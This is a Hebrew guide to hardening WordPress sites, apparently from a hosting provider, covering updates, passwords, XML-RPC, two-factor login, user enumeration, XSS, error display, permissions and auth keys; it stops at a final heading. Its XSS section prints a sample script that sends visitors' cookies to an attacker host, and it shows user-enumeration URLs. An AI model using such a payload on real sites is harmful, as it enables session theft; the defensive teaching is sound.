המדריך המלא לאבטחת אתר וורדפרס
דייב אברג'ל,
אבטחת אתר וורדפרס היא נושא בעל חשיבות עצומה עבור כל בעל אתר.
נכון למרץ 2019 (על פי מחקר בw3techs) – וורדפרס היא מערכת ניהול התוכן (CMS) הפופולרית ביותר באופן מוחלט, וורדפרס תופסת 60.4% מתוך כל ה1אתרים המשתמשים במערכות ניהול תוכן כלשהן (סה"כ 33.5% מכלל האתרים הקיימים בעולם).
ישנו מיתוס שמתגלגל ברחבי הרשת שאומר כי וורדפרס הינה מערכת שלא מאובטחת מספיק המזמינה המון ניסיונות התקפה \ פריצה, אבל כמו שניתן להסיק מהמספרים שהוצגו – הסיבה שוורדפרס מביאה איתה סכנות אבטחה ומעלה את הסיכוי לניסיון פריצה היא מאחר שוורדפרס תופסת נפח כה גדול מהשוק, לכן הרצון הגדול של ההאקרים הוא לקבל שליטה על כמות גדולה של אתרים על ידי פריצה בודדת כך שההשקעה בפריצה אליה "משתלמת" עבורם הרבה יותר..
ניתן לומר בוודאות שוורדפרס כמערכת – ובמיוחד קבצי הליבה מאובטחים במידה טובה מאוד, מתוחזקים באופן שוטף, מקבלים עדכונים ומשתפרים מעת לעת על ידי מאות מתכנתים שמהווים חלק מקהילת הקוד הפתוח. אחוז גדול של פרצות האבטחה נגרמות בדרך כלל כתוצאה של טעויות אנוש, בין אם זה הגדרה שגויה או תחזוקה לא נכונה של וורדפרס, במדריך זה נשתף את כל עצות האבטחה המובילות בהקשר של אבטחת אתרי וורדפרס.
חשוב לקחת את נושא האבטחה בכובד ראש.
רק כדי לסבר את האוזן: גוגל מוסיף מדי שבוע סביב 20000+ אתרים לרשימות השחורות עבור תוכנות זדוניות, וכ-50000+ אתרים עבור התחזות (פישינג).
כדאי לדאוג שהאתר שלכם נשאר מוגן ובטוח – עקבו אחר המאמר הבא המסביר מה ניתן לעשות כדי לחזק את האבטחה באתרי וורדפרס על ידי מספר פעולות פשוטות שיתנו לכם שקט לטווח הארוך.
* מדריך זה נכתב בהתייחסות ישירה לאתרי וורדפרס אשר מותקנים על שרתי Linux, אך עשוי להתאים גם לשרתי Windows.
1. עדכוני קוד שוטפים לוורדפרס ומרכיביו
וורדפרס היא מערכת ניהול תוכן חינמית שפותחה על-ידי קהילת מתכנתי קוד פתוח.
מערכת הניהול כוללת קבוצות רכיבים שונים כגון קוד ליבה, תבניות עיצוב ותוספים אשר מותקנים ע"י המשתמשים.
עדכון קוד ליבה
בכל שחרור גרסה מתכנתי וורדפרס משפרים את המערכת בצורות שונות, מוסיפים תכונות חדשות, משפרים ביצועים ומגבירים יכולות תכונות קיימות על-מנת להישאר מעודכנים בסטנדרטים של הטכנולוגיה.
בנוסף, מתבצע תיקון באגים אשר נמצאו בפרק הזמן שחלף בין העדכונים,לעיתים קרובות עדכוני הגרסה כוללים שיפורי אבטחה.
עדכון שוטף של אתר הוורדפרס שלכם יסייע לכם במניעת סיכוני אבטחת באתר שלכם, ובהוספת תכונות ויכולות חדשות.
כברירת מחדל, וורדפרס מתקינה באופן אוטומטי עדכוני גרסה מינורים, אך עבור עדכוני גרסה מג'ורים עליכם להפעיל את העדכון באופן ידני (במסך השדרוגים של המערכת).
מכיוון שוורדפרס היא מערכת קוד פתוח הזמינה לכל דורש. גרסאות ישנות ולא מעודכנות של וורדפרס המכילות חולשות אבטחה מפורסמות ברחבי הרשת והן טרף קל להאקרים, אשר נוטים לחפש ולתקוף גרסאות ישנות המכילות פרצות אבטחה. לדוגמה לאחרונה פורסם מאמר רשמי של Sucuri על פרצת אבטחה XSS שתוקנה בגרסה 5.1.1 של וורדפרס –
במידה וגרסת הוורדפרס של האתר שלכם אינה מעודכנת. אתם חשופים להרבה יותר פריצות וזאת מכיוון שהדרך לפרוץ גרסאות אלו ידועה וזו פרקטיקה הרבה יותר פשוטה מאשר למצוא פרצות אבטחה חדשות בגרסאות המעודכנות.
בנוסף, חשוב לזכור ולהדגיש – אין לבצע לעולם שינויים בקבצי הליבה של וורדפרס. שינוי כזה ימנע מכם אפשרות לבצע עדכונים שוטפים למערכת הוורדפרס מחשש לאבד את השינויים שבוצעו, מה שיפגע באופן ישיר באבטחת האתר שלכם ויוביל לסיכוני אבטחה עתידיים ושלל בעיות נוספות.
עדכון תבניות ותוספים
כחלק מההצלחה הכבירה של וורדפרס, התפתח שוק בינלאומי עצום של מפתחי תוספות שונות לוורדפרס. המערכת מודולרית וקלה להתממשקות ולכן מייצרת סביבה שוק עצום של תוספים, תבניות והרחבות שונות הנמכרות במגוון זירות ברחבי העולם.
המערכת כוללת כיום עשרות אלפי תוספים ותבניות עיצוב שניתן להתקין באתריה תוספים ותבניות עיצוב אלו מפותחים על ידי מפתחים צד שלישי, אשר בחלקם הגדול דואגים באופן קבוע לבצע עדכונים גם כן.
עדכוני תבניות ותוספים הינם קריטיים עבור האבטחה והיציבות של אתר וורדפרס שלכם. מאוד חשוב לשמור על גרסת הוורדפרס ברשותכם מעודכנת כמו גם את כל התוספים והתבניות בה אתם משתמשים.
*תוספי וורדפרס ותבניות עיצוב פרימיום \ בתשלום (מחוץ לספריה הרשמית של וורדפרס) – שימו לב שהרחבות בתשלום אינן מבטיחות איכות ואבטחה, בהרבה מקרים הרחבות אלו אינן מקבלות כלל וחלקן מקבלות עדכונים בתדירות נמוכה, ואופן העדכון הוא ידני ומסורבל.
שמירה על קוד קיים והוספת תוספים
מומלץ להשתמש אך ורק בתוספים ותבניות אשר נמצאים בספריה הרשמית של וורדפרס ושפותחו על ידי חברות ידועות, זה יחסוך לכם בעיות בעתיד, שכן רכיבים אלה ונבדקו על מנת לוודא שאינם מכילים קוד זדוני, ועוברים עדכונים שוטפים. חשוב לציין שגם תוספים רשמיים/ תוספים שצברו היקף הורדות גדול אינם מבטיחים אבטחה מושלמת ויש להקפיד לעשות שימוש בתוספים אמינים בלבד.
לקוחות uPress: ישנם 2 כפתורי שליטה על עדכון אוטומטי לקבצי הליבה של וורדפרס ועדכון אוטומטי לתוספים תחת לשונית וורדפרס בפאנל הניהול.
2. שמות משתמש, סיסמאות חזקות, הרשאות משתמשים
בחירת שם משתמש ייחודי
יש לתת דגש על בחירת שם המשתמש הנכון לאתר הוורדפרס שלכם.
שימוש ב admin כשם משתמש לאתר שלכם עושה להאקרים שמנסים לפרוץ לאתר חצי מהעבודה ומקל עליהם את מלאכת הפריצה.
זוהי כנראה אחת הפעולות החשובות והפשוטות ביותר לחיזוק האבטחה בוורדפרס ומניעת סיכון אשר ניתן למנוע בקלות.
בחירה ושימוש בסיסמאות
אחת משיטות הפריצה הנפוצות ביותר היא ניסיונות התחברות לוורדפרס על ידי ניחוש סיסמאות (Brute Force). בשיטה זו בוטים מנסים רצפים שונים של סיסמאות ידועות (מתוך מאגר מוכן מראש) עד אשר הם מצליחים לאתר את הסיסמה הנכונה.
זו אחת הסיבות מדוע מומלץ להשקיע בבחירת סיסמאות מורכבות וייחודיות לאתר שלכם. ולא רק לאזור הניהול של הוורדפרס עצמו, אלא גם לחשבונות ה FTP, מסדי נתונים, ניהול שרת האחסון, תיבת מייל המשמשת כמייל שחזור סיסמה של האתר וכל שירות נלווה אחר.
קיים מספר מפתיע של משתמשי וורדפרס המשתמשים בביטויים כמו "password" או "12345678" כסיסמה. סיסמאות אלו, בנוסף ליום ההולדת, מספר ת"ז ומספר טלפון הן קלות לניחוש ונמצאות בראש הרשימה של כל מתקפה המתבצעת על ידי רובוט או על ידי בן אדם.
הרבה מאוד בעלי אתרים לא אוהבים להשתמש בסיסמאות מורכבות בגלל שקשה לזכור אותן, עצה טובה היא להשתמש במשפט שלם שהגיוני לכם (ואפילו לשלב בתוכו טעות כתיב מכוונת) ואתם יכולים לזכור אותו בקלות, סיסמאות אלו הן הרבה הרבה יותר טובות מאשר ביטוי יחיד.
או שלחילופין תוכלו להשתמש במנהל סיסמאות אמין שיזכור בשבילכם את הצירוף המורכב.
במידה ואתם יוצרים את הסיסמאות באופן עצמאי ההמלצה היא להשתמש בסיסמאות שאורכן 8 תווים ומעלה, ומורכבות מהערכים הבאים:
- מספרים (1-9)
- אותיות לועזיות קטנות (a-z)
- אותיות לועזיות גדולות (A-Z)
- תווים ( *,!-+$#@& וכד')
דבר נוסף ולא פחות חשוב: לעולם אל תשתמשו בסיסמאות שהשתמשתם בהם בעבר, ההמלצה היא להשתמש בסיסמאות ייחודיות שלא ניתנות לצפיה מראש \ ניחוש על פי מידע קודם.
ניהול הרשאות בקפידה
דרך נוספת לצמצם את הסיכון היא לנהל מדיניות הרשאות ברורה לאתר, או במילים אחרות לא לתת לאף משתמש גישה לחשבון וורדפרס שלכם, אלא אם כן הוא בהחלט צריך.
אם יש לכם צוות גדול, מעצבים, מקדמי אתרים או כותבי תוכן, ודאו שאתם מבינים את רמות התפקידים והיכולות של המשתמשים באתר לפני שאתם מספקים להם חשבונות משתמש חדשים ומחברים לאתר שלכם.
הסבר על הרשאות משתמשים הניתנות לבחירה במערכת וורדפרס:
- מנוי (Subscriber) – משתמש רשום לאתר, ללא גישת עריכה כלשהי על תכני האתר, מלבד על הפרופיל האישי שלו.
- תורם (Contributor) – בעל הרשאת כתיבה וניהול הפוסטים של עצמו בלבד, אבל ללא הרשאת פרסום (הפוסטים יועברו לאישור מנהל).
- כותב (Author) – בעל הרשאת כתיבה ופרסום הפוסטים של עצמו בלבד.
- עורך (Editor) – בעל הרשאת כתיבה ופרסום הפוסטים והעמודים שלו ושל אחרים, ללא הרשאה לאזורים "רגישים" באתר.
- מנהל (Administrator) – מנהל האתר, בעל הרשאה לכל האפשרויות הקיימות במערכת ניהול.
3. בטלו אפשרות לעריכת קבצים מתוך ממשק הניהול של מנהל המערכת
כברירת מחדל, מערכת וורדפרס מאפשרת לבצע עריכה של קבצי התוספים ותבניות העיצוב של האתר באמצעות עורך קוד ייעודי מתוך ממשק הניהול של מנהל המערכת (wp-admin) . בידיים הלא נכונות, אפשרות זו יכולה להיות סיכון אבטחה משמעותי מאוד ולכן אנו ממליצים להשבית את אפשרות זו באופן מוחלט.
האלטרנטיבה הבטוחה יותר היא כמובן לבצע עריכה של הקבצים על ידי שימוש בתוכנת FTP או על ידי מנהל הקבצים המוצע מתוך ממשק ניהול האחסון שלכם.
ניתן לבצע פעולה זו (השבתה של אפשרות העריכה) על-ידי הוספת הקוד הבא בקובץ wp-config.php של האתר שלכם:
define('DISALLOW_FILE_EDIT', true);
4. הגבלת גישה לאזור ההתחברות \ הניהול
כברירת מחדל, האקרים או תוכנות זדוניות יכולים לנסות לגשת לאזור הניהול (wp-admin) או עמוד ההתחברות (wp-login.php) של האתר שלכם ללא כל הגבלה.
זה מאפשר להם לנסות לבצע נסיונות פריצה ושימוש במספר שיטות, או לבצע התקפת עומס DDOS על אזורים אלו מה שעלול להוביל לפריצה במקרה האחד ומניעת שירות במקרה השני.
במידה ויש לכם את יכולת השליטה בחומת האש אנחנו ממליצים בחום להגביל את הגישה לאזורים אלו באופן בלעדי למדינה בה אתם / הצוות שלכם נמצאים מבחינה גיאוגרפית, או למחמירים – לכתובות IP מורשות בלבד.
קיימת אפשרות נוספת להגן על אזורים אלו על ידי סיסמה ברמת צד השרת (נפוץ בשרתי לינוקס מסוג Apache), אשר בעצם יספק שכבה נוספת של אבטחה לפני שההאקר או התוכנה הזדונית מגיעים לאזור ההתחברות \ הניהול.
5. השבתת פרוטוקול XML-RPC
פרוטוקול XML-RPC מאופשר כברירת מחדל החל מגרסת וורדפרס 3.5 ומעלה, אפשרות זו עוזרת לחבר מרחוק את אתר הוורדפרס שלכם עם אתרים ואפליקציות שונות.
מטבע הדברים, XML-RPC החשוף לרשת יכול להגדיל באופן משמעותי את ניסיונות ההתקפות מסוג Brute Force.
לדוגמה, באופן רגיל אם האקר או תוכנה זדונית מעוניינים לנסות 100 סיסמאות שונות כדי להתחבר לאתר שלכם, הם חייבים לבצע 100 ניסיונות התחברות נפרדים (סביר שבמקרה כזה – תוסף האבטחה המותקן על האתר יזהה את הניסיון ויבצע חסימה).
באמצעות XML-RPC הם יכולים להשתמש בפונקציה system.multicall ולנסות אלפי סיסמאות שונות עם כמות קטנה של בקשות, לכן אם אתם לא משתמשים ב XML-RPC – אנחנו מאוד ממליצים להשבית את האפשרות.
ניתן להגביל את נסיונות ההתחברות על ידי מספר דרכים:
- הגבלת גישה לנתיב xmlrpc.php ברמת חומת האש של השרת.
- ברמת השרת על ידי קובץ .htaccess או nginx.conf.
- שימוש בתוסף פשוט הנקרא Disable XML-RPC תוסף זה זמין להורדה תחת ספריית התוספים הרשמית של וורדפרס.
לקוחות uPress: ישנו כפתור הפעלה\כיבוי לפרוטוקול xml-rpc תחת לשונית אבטחה.
6. הוספת אימות דו-שלבי
הפעלת אימות דו-שלבי לאתר הוורדפרס שלכם (שימוש באלמנט זיהוי נוסף כמו מפתח זיהוי ייחודי מתחלף כל 30 שניות) יכולה לשפר באופן משמעותי את אבטחת האתר ולספק שכבה נוספת של אימות לפני ההתחברות לאזור הניהול של האתר.
אחת הדרכים הקלות לעשות זאת היא בעצם על ידי התוסף Google Authenticator שזמין להורדה תחת ספריית התוספים הרשמית של וורדפרס ומאפשר אימות באמצעות אפליקציה בטלפון הנייד שלכם.
בסיום ההתקנות ולאחר ההתחברות הראשונית באמצעות שם משתמש + סיסמה, מופיע מסך נוסף הדורש להכניס קוד ייחודי בין 6 ספרות אשר מתחלף כל 30 שניות.
שימו לב: על מנת לאפשר פעולה זו נדרש להתקין את האפליקציה Google Authenticator על הטלפון הנייד שלכם.
7. הגבלת ניסיונות גישה כושלים
למעשה צעד זה הוא אחד מצעדי היסוד הבסיסיים ביותר כדי להגן על האתר שלך מפני התקפות Brute Force.
בהתקפות Brute Force ההאקר או התוכנה הזדונית מנסים להתחבר למערכת באמצעות שם משתמש וסיסמה באופן אקראי מספר רב של פעמים ומנסים באמצעות כמות אדירה של ניחושי צירופים לבצע התחברות מוצלחת למערכת הניהול שלכם.
במידה ולא קיימת הגבלה כלשהי מצד חומת האש \ שרת \ אתר – התוקף בסופו של דבר יצליח להגיע לצירוף הנכון ולקבל גישה לניהול האתר.
עם זאת, ניתן להגביל את מספר נסיונות ההתחברות הכושלים למספר פעמים מועט, לדוגמה 3 פעמים וכך לחסום את כתובת ה IP של התוקף באופן אוטומטי.
אחת הדרכים הקלות לעשות זאת היא בעצם על ידי התוסף Limit Login Attempts Reloaded שזמין להורדה תחת ספריית התוספים הרשמית של וורדפרס.
לקוחות uPress: מותקן על כלל האתרים התוסף WeSafe כברירת מחדל המבצע פעולה זו.
8. הסרת תוספים ותבניות עיצוב לא פעילים
באוגוסט 2011, נחשף ברשת כי הסקריפט הפופולארי TimThumb שנכלל (נכון לעת זו) בתוספים ובתבניות פופולריות של וורדפרס היה חשוף להתקפות זדוניות. תוך ימים ספורים יכולנו לצפות בתוקפים שניצלו פגיעות זו כדי לבצע פעולות, החל מהצפה בזבל קידומי (SEO) שמוביל לאתרים אחרים, עד לפגיעה בקבצי ה-PHP שאוחסנו על גבי השרת באמצעות תווים חסרי-משמעות.
רוב בעלי האתרים לא זיהו שסקריפט (והתוכנות הזדוניות) רצו למעשה על השרת שלהם.
חלקם כיבו את התוסף או התבנית עיצוב הרגישים, אך השאירו אותם על השרת. העובדה כי התבנית או התוסף בוורדפרס היו כבויים לא היתה רלוונטית עבור אותה פרצת אבטחה שכן עצם נוכחותו של הקוד הנ"ל מהווה פרצת אבטחה ללא קשר לכך שאותו תוסף אינו במצב פעיל במערכת.
התוקפים החלו בסריקת אתרים תוך שהם מחפשים אחר TimThumb. כאשר מצאו אותם, הם החלו להפעיל קבצי PHP שרירותיים על השרת, אפילו כאשר התוסף או התבנית לא היו פעילים, אבל הם עדיין זמינים וניתנים להפעלה מרחוק על השרת.
כלל ברזל שחובה לזכור – אם אינכם משתמשים בתוסף או תבנית עיצוב – הסירו אותם מהאתר! העניין תקף למעשה עבור כל תוכנה: אם אינכם משתמשים בה, פשוט הסירו אותה מהשרת. אין סיבה לשמור אותה שם אם אין בה שימוש.
9. על הקשר הישיר בין מערך גיבויים טוב לשינה בלילה
מערך גיבויים אמין וטוב הינו המענה הראשוני כנגד כל פריצה לאתר וורדפרס. זכרו, שום אתר אינו מאובטח ב-100%.
אתרים ממשלתיים, אתרים של גופי ענק בינלאומיים נפרצים כל יום – גם האתר שלכם בסכנה.
גיבויים זמינים מאפשרים לכם להתאושש מפריצה בצורה מהירה על ידי שחזור הקבצים ומסד הנתונים לגרסה האחרונה בהם היו תקינים.
ניתן ומומלץ לבצע גיבוי לאתר הוורדפרס שלכם במספר רמות:
- ברמת שרת האחסון מומלץ לבצע גיבוי באופן יומי לפחות 30 ימים לאחור, יש לוודא מול חברת האחסון הגיבויים נשמרים בשרת נפרד, ולא בשרת המקומי שלכם.
- אפשרות נוספת אך פחות אמינה היא לעשות זאת על ידי תוסף וורדפרס שאתם סומכים עליו, קיימים מספר תוספים חינמיים או בתשלום אשר יספקו את המענה. למשל VaultPress או UpdraftPlus. אנו ממליצים להשתמש בתוסף המאפשר לשלוח את הגיבוי לשירות ענן חיצוני (למשל One Drive, Dropbox או כל שירות ענן ציבורי).
10. דרישות מינימום לשרת מאובטח
חברת האחסון שלכם משחקת את התפקיד החשוב ביותר בתחום אבטחת אתר הוורדפרס שלכם.
חברת אחסון טובה היא חברה שמנהלת מעקב צמוד ומתקדם אחר איומי האבטחה הקיימים ברשת ונוקטת באמצעים נוספים כדי להגן על השרתים שלהם מפני התקפות עתידיות.
חלק מהתכונות עליהם אנו ממליצים לתת דגש כשמחפשים לבחור בחברת האחסון עבור האתר שלכם הן:
- ניטור פעילות הרשת שלהם בתדירות גבוהה כדי לאתר פעולות חשודות
- עמידות ברמת קו התקשורת בפני התקפות מניעת שירות (DDOS)
- עדכונים שוטפים לכלל רכיבי התוכנה \ חומרה כדי להימנע מניצול פרצות אבטחה של גרסאות ישנות
- שירות התאוששות מאסון, (Disaster Recovery) ותוכנית חירום המאפשרת להם להגן על המידע שלכם בשעת תקלה קלוסאלית.
- תמיכה ב-PHP בגרסה 7.1.27 לפחות ( גרסאות 7.0 ומטה לא מקבלות עדכוני אבטחה נכון ל-2019 על פי האתר הרשמי של php)
- תמיכה ב-MYSQL בגרסה 5.5 לפחות
- משתמש מסד נתונים נפרד לכל אחד מהאתרים בשרת
- בידוד משתמשים – הפרדה מוחלטת בין משתמשים (בשרתים שיתופיים)
- חומת אש מובנת על השרת, עדיפות לחומת אש אפליקטיבית (waf) שמכילה אפשרויות פעולה בדגש על וורדפרס
- מערכת איתור חדירה המבצעת סקירה של פרמטרים רבים סביב פעילות האתר שלכם
- סריקה מקיפה של האתרים בשרת באופן תדיר ושליחת עדכון במקרי הצורך
- אפשרות למעקב פשוט אחר קבצים שהשתנו באתרים
11. בוטים רעים – לחסום ולמנוע
לרוב, שיטת העבודה של האקרים לפני שהם מתקיפים היא לשלוח "מרגלים" כדי לבדוק את השטח לפני ההתקפה.
בוטים רעים משפיעים על ביצועי האתר שלך, גונבים את התוכן שלך, גונבים רוחב פס יקר ומשבשים באופן משמעותי את הסטטיסטיקות של האתר שלכם, ומעל הכל הם כמובן מחפשים את החלון הפתוח דרכו יוכלו לפרוץ אל תוך האתר שלכם.
ניתן למצוא רשימה של מרבית הבוטים המוגדרים "רעים" באתר botreports.com, אם אתם משתמשים בתוסף אבטחה \ שירות אחסון מנוהל ייעודי לוורדפרס – סביר שאתם מבצעים חסימה אוטומטית לרשימה זו.
עם זאת, במידה ותרצו עדיין לבצע את החסימה ניתן לבצעה על ידי מספר דרכים:
- חסימת הבוטים ברמת חומת האש (במידה ואתם מבצעים את הפעולה על מספר גדול של אתרים אופציה זו עדיפה)
- ברמת השרת על ידי קובץ .htaccess או nginx.conf
- שימוש בתוסף פשוט הנקרא StopBadBots תוסף זה זמין להורדה תחת ספריית התוספים הרשמית של וורדפרס.
לקוחות uPress: ישנו כפתור הפעלה\כיבוי לחסימת בוטים רעים תחת לשונית אבטחה.
12. הגנת סריקת משתמשים
כברירת מחדל באתר וורדפרס ניתן להגיע לעמוד ארכיון המשתמש, המציג את כל הפוסטים שפורסמו על ידי כותב \ משתמש.
בוטים יודעים לנצל חולשה זו כדי לבצע מספר ניסיונות עוקבים על ידי שימוש במזהה מספרי העוקב של המשתמש (User ID) עד אשר מגיעים למשתמש הרצוי וחושפים לגביו פרטים נוספים.
השיטה עובדת בצורה כזו:
https://www.domain.co.il/?author=1
https://www.domain.co.il/?author=2
https://www.domain.co.il/?author=3
ההמלצה היא לחסום אפשרות זו בעזרת הגבלת גישה לנתיב:
https://www.domain.co.il/?author=*
אפשרות נוספת לקבלת מידע אודות משתמשים היא טכנולוגיית Rest API המאפשרת שיתוף מידע בין מקורות שונים. באמצעות Rest API ניתן לקבל נתונים ממסד הנתונים של שרת מרוחק (אתר וורדפרס) בקלות על ידי קריאת Http.
החל מגרסת 4.7 של וורדפרס – Rest API מגיע כחלק מליבת הוורדפרס ופעיל על גבי כלל האתרים כברירת מחדל.
אפשרות זו יכולה להקל על האקרים \ תוכנה זדונית אשר מנסים לאסוף מידע על המשתמשים שלכם. לדוגמה אם ניגש לנתיב:
https://www.domain.co.il/wp-json/wp/v2/users
נוכל לקבל פלט JSON מסודר של כל המשתמשים באתר שלכם והפרטים שלהם.
ההמלצה היא לחסום את נתיבים רגישים הקשורים ל Rest API (לא ניתן לבטל את השירות במלואו משום שחלק ממנו עדיין נמצא בשימוש על ידי וורדפרס ותוספים מסוימים, למשל העורך הויזואלי החדש "גוטנברג" ששוחרר החל מגרסת וורדפרס 5.0+מחייב שימוש בשירות)
ניתן לבצע את החסימה על ידי מספר דרכים:
- חסימת הנתיב wp-json/wp/v2/users ברמת חומת האש
- חסימת הנתיב wp-json/wp/v2/users ברמת השרת על ידי קובץ .htaccess או nginx.conf
- שימוש בתוסף פשוט הנקרא Disable Rest API המאפשר לבצע חסימה לנתיבים ספציפיים של Rest API, תוסף זה זמין להורדה תחת ספריית התוספים הרשמית של וורדפרס.
לקוחות uPress: ישנו כפתור הפעלה\כיבוי לפרוטוקול Rest API תחת לשונית אבטחה.
13. הסתירו את גירסת הוורדפרס שלכם!
אם תציצו במבט חטוף בקוד המקור של אתר הוורדפרס שלכם, תוכלו לראות כי וורדפרס מטמיע באופן אוטומטי תגית meta המכילה מידע אודות גרסת הוורדפרס שאתם משתמשים בה.
<meta name=”generator” content=”WordPress 4.9.10”>
מידע זה נגיש להאקרים ותוכנות זדוניות, אשר מחפשות אחר כתבות ברחבי הרשת אודות פרצות אבטחה שהיו בגרסאות מסוימות של וורדפרס. ומהווה בשבילם אינדקציה נהדרת עבור שיטות ההתקפה בהן כדאי להם לנקוט. בכתבות אודות הפרצות בגרסאות הקודמות מוצגות דרכים מגוונות בהן ההאקרים היו יכולים לנצל את פרצת האבטחה ומראות להן מסלול ברור ומקיף כיצד כותב הכתבה הצליח לגלות את הבעיה. (למשל תיעוד לפרצת אבטחה ידועה בגרסת וורדפרס 4.7.0)
האקרים מחפשים לתקוף אתרים המשתמשים בגרסאות וורדפרס ישנות יותר ובעלות פרצות אבטחה ידועות.
אנו ממליצים לעדכן את גרסת הוורדפרס שלכם באופן אוטומטי.
ניתן להסתיר את גרסת הוורדפרס על ידי הוספת הקוד הבא לקובץ ה functions.php של תבנית העיצוב שלכם:
remove_action('wp_head', 'wp_generator');
14. טפלו בחולשות XSS
מתקפת XSS (ראשי תיבות Cross Site Scripting) היא מתקפה שבה סקריפטים זדוניים מוזרקים לתוך האתר, בדרך כלל בצורה של סקריפט הפועל בצד הדפדפן, וקוד זה מורד ומורץ בדפדפנים של משתמשי קצה תמימים (מבקרים באתר). לצורך ההדגמה בוורדפרס למשל היה ניתן להזריק XSS כתגובה למאמר כלשהו, תוכן התגובה יכיל תגית סקריפט inline נראית כך:
<script>window.location="http://attacker-website/?cookie="+document.cookie</script>
במידה והאתר לא מטפל בחולשות XSS – המצב שיתרחש הוא שכל גולש אשר יגיע למאמר הנ"ל יציג את תוכן התגובות בתחתית העמוד, ואחת התגובות תכיל את תוכן הסקריפט הזדוני, הסקריפט יופעל על הדפדפן של הגולש (במצב תקין הוא אמור להיות מוצג כ Plain Text).
זו הייתה כמובן דוגמה, וורדפרס כברירת מחדל יודע לטפל בתגובות מבחינת XSS (על ידי פונקציה מובנת wp_kses למשל), כמובן שניתן להטמיע את XSS בהמון דרכים שונות ולא רק בטופס התגובות, לדוגמה שדה חיפוש, כותרת עמוד, טופס צור קשר ועוד.
ניתן לטפל בחולשות XSS על ידי סניטיזציה לפני הצגת התוכן (של כל תוכן שעלול להיות מוזן על ידי משתמשים)
15. הסתירו את הודעות השגיאה ב PHP
וורדפרס מגיע עם מערכת הצגת שגיאות מובנית כחלק מליבת המערכת, אפשרות זו היא נהדרת עבור מפתחים שרוצים "לדבג" את שגיאות הקוד (בתבנית העיצוב או תוסף), אך כשמדובר על הקשחת אבטחה אנחנו נרצה להסתיר את הודעות השגיאה.
לדוגמה הודעות שגיאה בוורדפרס יראו בדרך כלל בצורה כזו:
PHP: syntax error , unexpected '^' in /wp-content/plugins/plugin.php on line 6
המידע הזה מקל על האקרים או תוכנות זדוניות, לכן ההמלצה היא להסתיר את הודעות השגיאה. ניתן לעשות זאת על ידי הוספת הקוד הבא לקובץ wp-config.php:
ini_set('display_errors','Off');
ini_set('error_reporting', E_ALL );
define('WP_DEBUG', false);
define('WP_DEBUG_DISPLAY', false);
16. אפסו את הרשאות התיקיות והקבצים
ערכים אלו לא אמורים להשתנות בדרך כלל, אבל כדאי לבדוק שהרשאות התיקיות והקבצים באתר הוורדפרס שלכם מוגדרים על פי ההמלצה הרשמית של וורדפרס. זכרו כי תיקיה עם הרשאה 777 יכולה לאפשר לכל אחד ליצור ולערוך קבצים בתיקיה זו.
לפי וורדפרס (מרץ 2019), אלו ההרשאות הנכונות עבור אתר הוורדפרס שלכם:
- הקובץ wp-config.php צריך לקבל הרשאה 600
- כלל הקבצים צריכים לקבל הרשאה 644 או 640
- כלל התיקיות צריכות לקבל הרשאה 755 או 750
* ניתן לבצע שינוי להרשאות הקבצים והתיקיות באמצעות תוכנת FTP, ועל ידי כפתור איפוס הרשאות קבצים בחלק מחברות האחסון.
לקוחות uPress: ישנו כפתור איפוס הרשאות לכלל הקבצים והתיקיות על פי ההמלצה של וורדפרס תחת לשונית פיתוח > כלי אחסון נוספים.
17. השתמשו במפתחות הצפנה (Authentication Keys)
כברירת מחדל כל התקנת וורדפרס מגיעה עם קובץ wp-config.php המכיל מפתחות הצפנה ריקים. כאשר אנחנו מבצעים את תהליך ההתקנה בדרך המקובלת של וורדפרס – המערכת מייצרת בעבורנו מפתחות הצפנה ייחודיים עבור האתר. שימוש במפתחות הצפנה יחודיים הינו הליך אבטחה מאוד משמעותי כדי להגן על אתר הוורדפרס שלכם. מפתחות אלו ידועים בשם נוסף – "מפתחות אבטחה".
המערכת וורדפרס משתמשת במפתחות אלו כדי להצפין את המידע המאוחסן בעוגיות המחשב של המשתמש כאשר הוא מוגדר כמשתמש מחובר לאתר (שם משתמש וסיסמה). פרטי האימות שמורים בצורה של hash המורכב יחד עם מפתחות ההצפנה וכך ממזערת את הסיכון לביצוע אחזור לשם המשתמש והסיסמה מתוך העוגיה אשר נגנבה מתוך מחשב של משתמש.
לדוגמה, כך מגיעים מפתחות הצפנה כברירת מחדל:
define('AUTH_KEY', 'put your unique phrase here');
define('SECURE_AUTH_KEY', 'put your unique phrase here');
define('LOGGED_IN_KEY', 'put your unique phrase here');
define('NONCE_KEY', 'put your unique phrase here');
define('AUTH_SALT', 'put your unique phrase here');
define('SECURE_AUTH_SALT', 'put your unique phrase here');
define('LOGGED_IN_SALT', 'put your unique phrase here');
define('NONCE_SALT', 'put your unique phrase here');
וכך נראים מפתחות הצפנה תקינים:
define('AUTH_KEY', 'X<@vIF23>d~#%kYe^_>xhv~xUJ*ia*y+ALlJLGv7qFJe<EnpEwD:g~~&$}+DC5eF');
define('SECURE_AUTH_KEY', 'nA@GM?#u7v99Yk+8sM|+ZeF;]P74f`2v|z]{dKS|+cojC.w<&o4LeGvv-]$FWX4^');
define('LOGGED_IN_KEY', 'UNOk*x]$V_a]]vtKZM>`gs2Ht^O/`Rl|>EJzO9/*Y|)tJ2`&rg8FZ 5`l,67)`1U');
define('NONCE_KEY', 'pc-UFE^.+7?+vPD^,i& ^^R?+|I-q+7p>?d2*NZ|zUf|?e&v&?6iz-gF+~m*?(L=');
define('AUTH_SALT', '7n_U|q1kJ)s)8_#5sb! FY]l)Y!Eyyse85!/$G>qh(XbTYpefVxC_M/naQKhM#PL');
define('SECURE_AUTH_SALT', 'Mw^0=5J5:TWi;fl|*$l|i]f7Gyw-}1@-G5ZPc1atjhg@8v#&& ?1re#D!vtE:g&^');
define('LOGGED_IN_SALT', '~hZF}x2b&F^Q-WQK8^q>5pS!|6eT^<6z!WSNcv;Jd&8mY2T9M`:S Z ;OYGd[{$e');
define('NONCE_SALT', 'rH&yz6/_S0hXVnJOJ28?]EME!}s>V<%+<[e;FEl:d)t>+P%|atn+Ktq-lpk{+WIM');
בצעו בדיקה, במידה ולא מוגדרים לכם בקובץ wp-config.php מפתחות הצפנה ייחודיים אנחנו ממליצים ליצור מפתחות אקראיים בעמוד מחולל המפתחות הייעודי של וורדפרס ולעדכן אותם בקובץ wp-config.php.
18. מערכת הקבצים – ביטול האפשרות להרצת קבצי PHP בתיקיות בהן זה לא נחוץ.
